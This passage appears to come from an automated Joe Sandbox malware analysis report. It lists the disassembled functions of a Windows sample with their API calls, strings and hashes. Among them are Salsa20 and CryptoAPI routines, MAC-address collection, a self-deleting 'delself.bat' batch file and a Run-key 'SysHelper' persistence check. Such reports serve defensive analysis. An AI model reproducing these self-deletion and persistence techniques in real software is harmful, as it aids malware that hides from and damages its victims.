Instruction Fuzzy Hash: 835173B1E40209EBDF11DFA2DC46FEEBB78EB04704F10452AF501B61C1D7796A158BA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040EAA0 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 159encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32(00000000,00000000,00000000,00000001,F0000000,004FFCA4,00000000), ref: 0040EB01
__CxxThrowException@8.LIBCMT ref: 0040EB17

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0040EB2C
__CxxThrowException@8.LIBCMT ref: 0040EB42
CryptHashData.ADVAPI32(00000000,?,?,00000000), ref: 0040EB4E
__CxxThrowException@8.LIBCMT ref: 0040EB64
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000,?,?,00000000), ref: 0040EB83
__CxxThrowException@8.LIBCMT ref: 0040EB95
_memset.LIBCMT ref: 0040EBB4
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 0040EBC8
__CxxThrowException@8.LIBCMT ref: 0040EBDA
_sprintf.LIBCMT ref: 0040EBF4
CryptDestroyHash.ADVAPI32(00000000), ref: 0040EC44
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 0040EC4F

Strings

%.2X, xrefs: 0040EBEE

Memory Dump Source

Source File: 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2111184251.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2111184251.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: Crypt$Exception@8HashThrow$ContextParam$AcquireCreateDataDestroyExceptionRaiseRelease_memset_sprintf
String ID: %.2X
API String ID: 1637485200-213608013
Opcode ID: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction ID: 14d7d02cf3c54262bdef7e6fa07b3cadf7b2b7504ea62fb0b9d39e8d8664034d
Opcode Fuzzy Hash: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction Fuzzy Hash: A6515371E40209ABDF11DBA6DC46FEFBBB8EB04704F14052AF505B62C1D77969058BA8

Uniqueness

Uniqueness Score: -1.00%

Function 004822E0 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 127windowCOMMON

Download Yara Rule

APIs

Part of subcall function 004549A0: GetModuleHandleA.KERNEL32(?,?,00000001,?,00454B72), ref: 004549C7
Part of subcall function 004549A0: GetProcAddress.KERNEL32(00000000,_OPENSSL_isservice), ref: 004549D7
Part of subcall function 004549A0: GetDesktopWindow.USER32 ref: 004549FB
Part of subcall function 004549A0: GetProcessWindowStation.USER32(?,00454B72), ref: 00454A01
Part of subcall function 004549A0: GetUserObjectInformationW.USER32(00000000,00000002,00000000,00000000,?,?,00454B72), ref: 00454A1C
Part of subcall function 004549A0: GetLastError.KERNEL32(?,00454B72), ref: 00454A2A
Part of subcall function 004549A0: GetUserObjectInformationW.USER32(00000000,00000002,?,?,?,?,00454B72), ref: 00454A65
Part of subcall function 004549A0: _wcsstr.LIBCMT ref: 00454A8A

CreateDCA.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00482316
CreateCompatibleDC.GDI32(00000000), ref: 00482323
GetDeviceCaps.GDI32(00000000,00000008), ref: 00482338
GetDeviceCaps.GDI32(00000000,0000000A), ref: 00482341
CreateCompatibleBitmap.GDI32(00000000,?,00000010), ref: 0048234E
SelectObject.GDI32(00000000,00000000), ref: 0048235C
GetObjectA.GDI32(00000000,00000018,?), ref: 0048236E
BitBlt.GDI32(?,00000000,00000000,?,00000010,?,00000000,00000000,00CC0020), ref: 004823CA
GetBitmapBits.GDI32(?,?,00000000), ref: 004823D6
SelectObject.GDI32(?,?), ref: 00482436
DeleteObject.GDI32(00000000), ref: 0048243D
DeleteDC.GDI32(?), ref: 0048244A
DeleteDC.GDI32(?), ref: 00482450

Strings

.\crypto\rand\rand_win.c, xrefs: 00482383
DISPLAY, xrefs: 00482311

Memory Dump Source

Source File: 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2111184251.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2111184251.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: Object$CreateDelete$BitmapCapsCompatibleDeviceInformationSelectUserWindow$AddressBitsDesktopErrorHandleLastModuleProcProcessStation_wcsstr
String ID: .\crypto\rand\rand_win.c$DISPLAY
API String ID: 151064509-1805842116
Opcode ID: 1b801d1ffbd88b82039091f0604768a30c592b3e6827ab76a1e426d578563625
Instruction ID: 00d76d2b57e2ae43ffa0e146b327d2d4306243c0a97269805a4caa25bb15a565
Opcode Fuzzy Hash: 1b801d1ffbd88b82039091f0604768a30c592b3e6827ab76a1e426d578563625
Instruction Fuzzy Hash: 0441BB71944300EBD3105BB6DC86F6FBBF8FF85B14F00052EFA54962A1E77598008B6A

Uniqueness

Uniqueness Score: -1.00%

Function 0040E670 Relevance: 26.3, APIs: 12, Strings: 3, Instructions: 78COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0040E67F

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(005D0000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

_malloc.LIBCMT ref: 0040E68B
_wprintf.LIBCMT ref: 0040E69E
_free.LIBCMT ref: 0040E6A4

Part of subcall function 00420BED: HeapFree.KERNEL32(00000000,00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C01
Part of subcall function 00420BED: GetLastError.KERNEL32(00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C13

GetAdaptersInfo.IPHLPAPI(00000000,00000288), ref: 0040E6B9
_free.LIBCMT ref: 0040E6C5
_malloc.LIBCMT ref: 0040E6CD
GetAdaptersInfo.IPHLPAPI(00000000,00000288), ref: 0040E6E0
_sprintf.LIBCMT ref: 0040E720
_wprintf.LIBCMT ref: 0040E732
_wprintf.LIBCMT ref: 0040E73C
_free.LIBCMT ref: 0040E745

Strings

%02X:%02X:%02X:%02X:%02X:%02X, xrefs: 0040E71A
Error allocating memory needed to call GetAdaptersinfo, xrefs: 0040E699
Address: %s, mac: %s, xrefs: 0040E72D

Memory Dump Source

Source File: 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2111184251.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2111184251.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: _free_malloc_wprintf$AdaptersHeapInfo$AllocateErrorFreeLast_sprintf
String ID: %02X:%02X:%02X:%02X:%02X:%02X$Address: %s, mac: %s$Error allocating memory needed to call GetAdaptersinfo
API String ID: 3901070236-1604013687
Opcode ID: 3662c7b498418dd0805699ed7e156d37d96e3abec8e0c242f5b97c865e313c7a
Instruction ID: 1f0497fb971ee708fef02f82321736b2a43cb7681c3985dbc626545fd8dc3fd8
Opcode Fuzzy Hash: 3662c7b498418dd0805699ed7e156d37d96e3abec8e0c242f5b97c865e313c7a
Instruction Fuzzy Hash: 251127B2A045647AC27162F76C02FFF3ADC8F45705F84056BFA98E1182EA5D5A0093B9

Uniqueness

Uniqueness Score: -1.00%

Function 00410160 Relevance: 26.2, APIs: 17, Instructions: 660COMMON

Download Yara Rule

APIs

Part of subcall function 00411AB0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411ACA
Part of subcall function 00411AB0: DispatchMessageW.USER32(?), ref: 00411AE0
Part of subcall function 00411AB0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411AEE

PathFindFileNameW.SHLWAPI(?,?,00000000), ref: 00410346
_memmove.LIBCMT ref: 00410427
PathFindFileNameW.SHLWAPI(?,?,00000000,00000000,00000000,-00000002), ref: 0041048E
_memmove.LIBCMT ref: 00410514

Memory Dump Source

Source File: 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2111184251.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2111184251.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: Message$FileFindNamePathPeek_memmove$Dispatch
String ID:
API String ID: 273148273-0
Opcode ID: 5579d069003674f30fc20657d67551341dfb12f417424f211cabcd1385ef9a93
Instruction ID: 4d52a43d2e6eeb98f1fe08e229a92f838bd03635929547cf71b8ba18611ce854
Opcode Fuzzy Hash: 5579d069003674f30fc20657d67551341dfb12f417424f211cabcd1385ef9a93
Instruction Fuzzy Hash: EF429F70D00208DBDF14DFA4C985BDEB7F5BF04308F20456EE415A7291E7B9AA85CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040FB98 Relevance: 15.3, APIs: 10, Instructions: 266stringCOMMON

Download Yara Rule

APIs

PathAppendW.SHLWAPI(?,?), ref: 0040FBD5
_memmove.LIBCMT ref: 0040FC3C
PathFileExistsW.SHLWAPI(?,?,?,?), ref: 0040FC63
_malloc.LIBCMT ref: 0040FC72
lstrcpyW.KERNEL32(00000000,?), ref: 0040FC8C
lstrcatW.KERNEL32(00000000,?), ref: 0040FCA5
_free.LIBCMT ref: 0040FCD7

Memory Dump Source

Source File: 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2111184251.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2111184251.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: Path$AppendExistsFile_free_malloc_memmovelstrcatlstrcpy
String ID:
API String ID: 3232302685-0
Opcode ID: 8e7fd9746f064940cb66d6ef43538eded20f2cba022702fc4082d6d5591459cc
Instruction ID: e959444c36dd18fc08dff6604914d564c76187b82df2896015b22d61e5b1ffa1
Opcode Fuzzy Hash: 8e7fd9746f064940cb66d6ef43538eded20f2cba022702fc4082d6d5591459cc
Instruction Fuzzy Hash: 09B19F70D00208DBDF20DFA4D945BDEB7B5BF15308F50407AE40AAB291E7799A89CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 004382A2 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,?,00000002,?,?,00438568,?,00000000), ref: 004382E6
GetLocaleInfoW.KERNEL32(?,20001004,?,00000002,?,?,00438568,?,00000000), ref: 00438310

Strings

OCP, xrefs: 004382C4
ACP, xrefs: 004382B3

Memory Dump Source

Source File: 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2111184251.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2111184251.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 102afb5f5093c9dfdd8a19d426743dda05a0526c846065600ba6b69f24068785
Instruction ID: cf0fde08c92294f7ab6fed71b02f11d94bd2ad82eb759ef3fcb1a01a65759ec5
Opcode Fuzzy Hash: 102afb5f5093c9dfdd8a19d426743dda05a0526c846065600ba6b69f24068785
Instruction Fuzzy Hash: FA01C431200615ABDB205E59DC45FD77798AB18B54F10806BF908DA252EF79DA41C78C

Uniqueness

Uniqueness Score: -1.00%

Function 0040C070 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 280COMMON

Download Yara Rule

APIs

__wassert.LIBCMT ref: 0040C09A

Strings

input != nullptr && output != nullptr, xrefs: 0040C095
e:\doc\my work (c++)\_git\encryption\encryptionwinapi\Salsa20.inl, xrefs: 0040C090

Memory Dump Source

Source File: 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2111184251.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2111184251.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: __wassert
String ID: e:\doc\my work (c++)\_git\encryption\encryptionwinapi\Salsa20.inl$input != nullptr && output != nullptr
API String ID: 3993402318-1975116136
Opcode ID: b02fe9d9872fded329b77120f2c573e6cf8b0d350d9fa23001143a57df52eae3
Instruction ID: 1562121ec4d7abfac7b8d7a3269f54288592c24a15d8ca99342f0f863a8d7c6a
Opcode Fuzzy Hash: b02fe9d9872fded329b77120f2c573e6cf8b0d350d9fa23001143a57df52eae3
Instruction Fuzzy Hash: 43C18C75E002599FCB54CFA9C885ADEBBF1FF48300F24856AE919E7301E334AA558B54

Uniqueness

Uniqueness Score: -1.00%

Function 00424168 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0042419D
IsDebuggerPresent.KERNEL32(?,?,00000001), ref: 00424252

Strings

i;B, xrefs: 00424168

Memory Dump Source

Source File: 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2111184251.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2111184251.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: DebuggerPresent_memset
String ID: i;B
API String ID: 2328436684-472376889
Opcode ID: 0bc333208f10a2510305f30f60194ffc8a1e9bc236dda87ca461c0d5e10d6844
Instruction ID: b2deef9000060817df5d9888a0c5d5c31052404ed3c7d79a7a675bf972ea9145
Opcode Fuzzy Hash: 0bc333208f10a2510305f30f60194ffc8a1e9bc236dda87ca461c0d5e10d6844
Instruction Fuzzy Hash: 3231D57591122C9BCB21DF69D9887C9B7B8FF08310F5042EAE80CA6251EB349F858F59

Uniqueness

Uniqueness Score: -1.00%

Function 00411178 Relevance: 3.0, APIs: 2, Instructions: 19encryptionCOMMON

Download Yara Rule

APIs

CryptDestroyHash.ADVAPI32(?), ref: 00411190
CryptReleaseContext.ADVAPI32(?,00000000), ref: 004111A0

Memory Dump Source

Source File: 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2111184251.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2111184251.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: Crypt$ContextDestroyHashRelease
String ID:
API String ID: 3989222877-0
Opcode ID: 9f13d3873e772d8ace176f4c7e6ba3f69b1ad179b42c3e02a3fcf93c6db6df11
Instruction ID: be51c898aa0ddf1eb2c7ddf255022cb250d4a78141f94ceb906d675081cd9b05
Opcode Fuzzy Hash: 9f13d3873e772d8ace176f4c7e6ba3f69b1ad179b42c3e02a3fcf93c6db6df11
Instruction Fuzzy Hash: F0E0EC74F40305A7EF50DBB6AC49FABB6A86B08745F444526FB04F3251D62CD841C528

Uniqueness

Uniqueness Score: -1.00%

Function 0040EA51 Relevance: 3.0, APIs: 2, Instructions: 19encryptionCOMMON

Download Yara Rule

APIs

CryptDestroyHash.ADVAPI32(?), ref: 0040EA69
CryptReleaseContext.ADVAPI32(?,00000000), ref: 0040EA79

Memory Dump Source

Source File: 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2111184251.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2111184251.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: Crypt$ContextDestroyHashRelease
String ID:
API String ID: 3989222877-0
Opcode ID: a8a50747f5b84a4213a2f30896a43f764b121f6b091d033cf5eb92e4ffb0f2c5
Instruction ID: d41dd3a2d1aa4a110fdd7d588524fe859ae41a35967fa473e5fd9fc866ad400b
Opcode Fuzzy Hash: a8a50747f5b84a4213a2f30896a43f764b121f6b091d033cf5eb92e4ffb0f2c5
Instruction Fuzzy Hash: B2E0EC78F002059BDF50DBB79C89F6B72A87B08744B440835F804F3285D63CD9118928

Uniqueness

Uniqueness Score: -1.00%

Function 0040EC68 Relevance: 3.0, APIs: 2, Instructions: 19encryptionCOMMON

Download Yara Rule

APIs

CryptDestroyHash.ADVAPI32(?), ref: 0040EC80
CryptReleaseContext.ADVAPI32(?,00000000), ref: 0040EC90

Memory Dump Source

Source File: 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2111184251.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2111184251.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: Crypt$ContextDestroyHashRelease
String ID:
API String ID: 3989222877-0
Opcode ID: ea67dc9e2b6fd99e4d4b2082a3cd53fb6e3c794773a19c18e99169158be55dec
Instruction ID: 275dd0b1ae59d7aa5d1c23d1b64c6eee76a350be21334d4cde6f8a02617c5264
Opcode Fuzzy Hash: ea67dc9e2b6fd99e4d4b2082a3cd53fb6e3c794773a19c18e99169158be55dec
Instruction Fuzzy Hash: 97E0BDB4F0420597EF60DEB69E49F6B76A8AB04645B440835E904F2281DA3DD8218A29

Uniqueness

Uniqueness Score: -1.00%

Function 004329EC Relevance: 3.0, APIs: 2, Instructions: 8COMMONLIBRARYCODE

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000,?,00424266,?,?,?,00000001), ref: 004329F1
UnhandledExceptionFilter.KERNEL32(?,?,?,00000001), ref: 004329FA

Memory Dump Source

Source File: 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2111184251.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2111184251.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 957f1cdd405d7a5f8fcfad9397a47528ed4c184e5d77963140c17adbcc220f91
Instruction ID: d7915fe9b98f2e2675b1eb18c11ae3c40c3bb41b36f5f7d781b256b54fe46c91
Opcode Fuzzy Hash: 957f1cdd405d7a5f8fcfad9397a47528ed4c184e5d77963140c17adbcc220f91
Instruction Fuzzy Hash: A7B09271044208ABDA802B93EC59F883F28EB04A62F084022F60D444628F6254508E99

Uniqueness

Uniqueness Score: -1.00%

Function 004329BB Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(?,?,00431DA6,00431D5B), ref: 004329C1

Memory Dump Source

Source File: 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2111184251.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2111184251.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 1db6f696b6536d5221d2cbd00a2ff6cb8be2218350df980964d78d67e6efdd32
Instruction ID: cc44753b31e70f30ed06b04cde14f86973f8491ae5a0d649e7a5859f7922213d
Opcode Fuzzy Hash: 1db6f696b6536d5221d2cbd00a2ff6cb8be2218350df980964d78d67e6efdd32
Instruction Fuzzy Hash: 69A0113000020CAB8A002B83EC088883F2CEA002A0B088022F80C008228B22A8208E88

Uniqueness

Uniqueness Score: -1.00%

Function 004278D5 Relevance: 1.3, APIs: 1, Instructions: 7memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00423FED,00507990,00000014), ref: 004278D5

Memory Dump Source

Source File: 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2111184251.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2111184251.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 993d631f5fa9c6d26d39642974962185f27c3e068b68c4f08d438ea8c169c0b8
Instruction ID: c175dc67e46cb5b18e7b8d473ad54adbb7c8ff58e9170129aa5670ed77b5f39c
Opcode Fuzzy Hash: 993d631f5fa9c6d26d39642974962185f27c3e068b68c4f08d438ea8c169c0b8
Instruction Fuzzy Hash: 79B012F0705102474B480B387C9804935D47708305300407DF00BC11A0EF70C860BA08

Uniqueness

Uniqueness Score: -1.00%

Function 004124E0 Relevance: 79.0, APIs: 36, Strings: 9, Instructions: 214synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNEL32(00000000,00000000,{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}), ref: 004124FE
GetLastError.KERNEL32 ref: 00412509
CloseHandle.KERNEL32 ref: 0041251C
CloseHandle.KERNEL32 ref: 00412539
CreateMutexA.KERNEL32(00000000,00000000,{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}), ref: 00412550
GetLastError.KERNEL32 ref: 0041255B
CloseHandle.KERNEL32 ref: 0041256E

Strings

@echo off:trydel ", xrefs: 0041262A
{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}, xrefs: 00412547
TEMP, xrefs: 004125DF
" goto try, xrefs: 00412666
{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}, xrefs: 004124F5
delself.bat, xrefs: 0041261C
del ", xrefs: 00412674
D, xrefs: 00412720
"if exist ", xrefs: 00412648

Memory Dump Source

Source File: 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2111184251.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2111184251.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: CloseHandle$CreateErrorLastMutex
String ID: "if exist "$" goto try$@echo off:trydel "$D$TEMP$del "$delself.bat${1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}${FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}
API String ID: 2372642624-488272950
Opcode ID: 4506a078386c228e7a8f507305766ec05e664451a55683de5f3f64ca7fb9d614
Instruction ID: b8d6f70f31989c1caf7dd59f8aefe182ce9601728b58fe5e15313657dd94e056
Opcode Fuzzy Hash: 4506a078386c228e7a8f507305766ec05e664451a55683de5f3f64ca7fb9d614
Instruction Fuzzy Hash: 03714E72940218AADF50ABE1DC89FEE7BACFB44305F0445A6F609D2090DF759A88CF64

Uniqueness

Uniqueness Score: -1.00%

Function 004635B0 Relevance: 21.5, APIs: 7, Strings: 5, Instructions: 475COMMONLIBRARYCODE

Download Yara Rule

APIs

_strncmp.LIBCMT ref: 004636AA
_strncmp.LIBCMT ref: 004636DA
_strncmp.LIBCMT ref: 00463835
_strncmp.LIBCMT ref: 00463946
_strncmp.LIBCMT ref: 004639EA
_strncmp.LIBCMT ref: 00463A06
_strncmp.LIBCMT ref: 00463A27

Strings

-----, xrefs: 004636D4, 00463A21
.\crypto\pem\pem_lib.c, xrefs: 00463709, 0046374F, 00463791, 00463A69, 00463B02, 00463B62, 00463B85, 00463BDA
-----BEGIN , xrefs: 004636A4
-----END , xrefs: 0046382F, 00463940, 004639E4
, xrefs: 00463A90

Memory Dump Source

Source File: 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2111184251.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2111184251.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: _strncmp
String ID: $-----$-----BEGIN $-----END $.\crypto\pem\pem_lib.c
API String ID: 909875538-2733969777
Opcode ID: cb9e21a8909c22ae086980ad9bb3b6b683aca236df65bd2ad44c41cd33641913
Instruction ID: 696768b63e7695c6252fa4396c8fc8293dc5daf0279c077ed15b414a568efc74
Opcode Fuzzy Hash: cb9e21a8909c22ae086980ad9bb3b6b683aca236df65bd2ad44c41cd33641913
Instruction Fuzzy Hash: 82F1E7B16483806BE721EE25DC42F5B77D89F5470AF04082FF948D6283F678DA09879B

Uniqueness

Uniqueness Score: -1.00%

Function 00425A97 Relevance: 19.6, APIs: 13, Instructions: 84COMMONLIBRARYCODE

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00425AAE

Part of subcall function 00428C96: __calloc_impl.LIBCMT ref: 00428CA5

__calloc_crt.LIBCMT ref: 00425AD2
_free.LIBCMT ref: 00425AE0
__calloc_crt.LIBCMT ref: 00425AEE
_free.LIBCMT ref: 00425AFE
_free.LIBCMT ref: 00425B04
__copytlocinfo_nolock.LIBCMT ref: 00425B13
__wsetlocale_nolock.LIBCMT ref: 00425B20
__setmbcp_nolock.LIBCMT ref: 00425B34
_free.LIBCMT ref: 00425B42
___removelocaleref.LIBCMT ref: 00425B49
___freetlocinfo.LIBCMT ref: 00425B50
_free.LIBCMT ref: 00425B56

Memory Dump Source

Source File: 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2111184251.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2111184251.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: _free$__calloc_crt$___freetlocinfo___removelocaleref__calloc_impl__copytlocinfo_nolock__setmbcp_nolock__wsetlocale_nolock
String ID:
API String ID: 1503006713-0
Opcode ID: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction ID: 8b5b6749b4f509f283f4592c8036b9fc340ac08d61b50d13b2524a40b9fdfb6a
Opcode Fuzzy Hash: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction Fuzzy Hash: 7E21B331705A21ABE7217F66B802E1F7FE4DF41728BD0442FF44459192EA39A800CA5D

Uniqueness

Uniqueness Score: -1.00%

Function 0041BAE0 Relevance: 18.3, APIs: 12, Instructions: 320windowCOMMON

Download Yara Rule

APIs

PostQuitMessage.USER32(00000000), ref: 0041BB49
DefWindowProcW.USER32(?,?,?,?), ref: 0041BBBA
_malloc.LIBCMT ref: 0041BBE4
GetComputerNameW.KERNEL32(00000000,?), ref: 0041BBF4
_free.LIBCMT ref: 0041BCD7

Part of subcall function 00411CD0: RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D12
Part of subcall function 00411CD0: _memset.LIBCMT ref: 00411D3B
Part of subcall function 00411CD0: RegQueryValueExW.KERNEL32(?,SysHelper,00000000,?,?,00000400), ref: 00411D63
